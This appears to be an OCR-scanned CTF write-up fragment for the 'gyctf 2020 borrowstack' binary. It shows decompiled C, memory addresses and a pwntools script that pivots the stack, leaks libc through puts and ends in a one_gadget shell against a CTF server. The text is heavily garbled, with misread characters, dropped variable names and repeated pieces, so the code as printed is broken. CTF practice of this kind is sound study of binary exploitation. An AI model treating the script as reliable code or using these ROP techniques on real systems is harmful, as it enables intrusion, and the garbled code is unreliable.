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int _ cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [rsp+6h] [rbp-68h]
setbuf(stdin, OLL);
setbuf(stdout, OLL);
puts(&s);
read(@, &buf, @x70uLLl);
puts("Done!You can check and use your borrow stack now!"™);
read(@, &bank, ©x100ulLLl);
return 0;
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got = 0x600ff8
got.plt = ©x601000

data = 0x601038
bss = 0x601060
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p.recvuntil('want")
payload = 'a' * Ox60 + p64(0x6010c0) + p64(0OXx400699)

sleep(0.5)
p.send(payload)
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payload = p64(0x6010b8) + p64(0) * Ox8 + p64(prdi) + p64(puts_got)
payload += p64(puts_plt) + p64(pop6) + p64(0) + p64(1l) + p64(read_got)

payload += p64(0x100) + p64(0x6010c0O) + p64(0) + p64(mov_call) + p64(0) * Ox2
payload += p64(0x6010b8) + p64(0) * Ox4 + p64(0x400699)
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read_bss=0x400680
payload="a'*0x60+p64(pop_rdi_ret)+p64(e.got[ 'puts’'])+p64(e.plt[ 'puts'])+p64(pop_rbp_ret)+p64(bss_start+0x60-8)+p
64 (read_bss)

payloadl="a'*0x60+p64(one_gadget)

#! /usr/bin/env python
from pwn import *

p = process('./gyctf 2020 borrowstack")
remote( 'node3.buuoj.cn', 25192)
elf = ELF('./gyctf 2020 borrowstack")
ELF('./1libc.so0.6")

puts_got = elf.got['puts']
elf.plt['puts']
elf.plt['read']
elf.got['read']

0x4006€0
= 0x4006fa
0x400703
p.recvuntil(’
= 'a' * Ox60 + p64(0x6010CcO) + p64(0x400699)

want"')

payload = p64(0x6010b8) + p64(0) * ©x8 + p64(prdi) + p64(puts_got)
payload += p64(puts_plt) + p64(pop6) + p64(0) + p64(1l) + p64(read_got)
payload += p64(0x100) + p64(0x6010cO) + p64(0) + p64(mov_call) + p64(0) * Ox2
payload += p64(0x6010b8) + p64(0) * Ox4 + p64(0x400699)
p.recvuntil('now!")
sleep(0.5)
p.send(payload)

= ubd(p.recvuntil("\x7f"')[-6:].1just(8, '"\x00'))
libc_base = puts - libc.sym['puts']
onegadget = libc_base + 0xf1147

p64(onegadget)

p.send(payload)
p.interactive()
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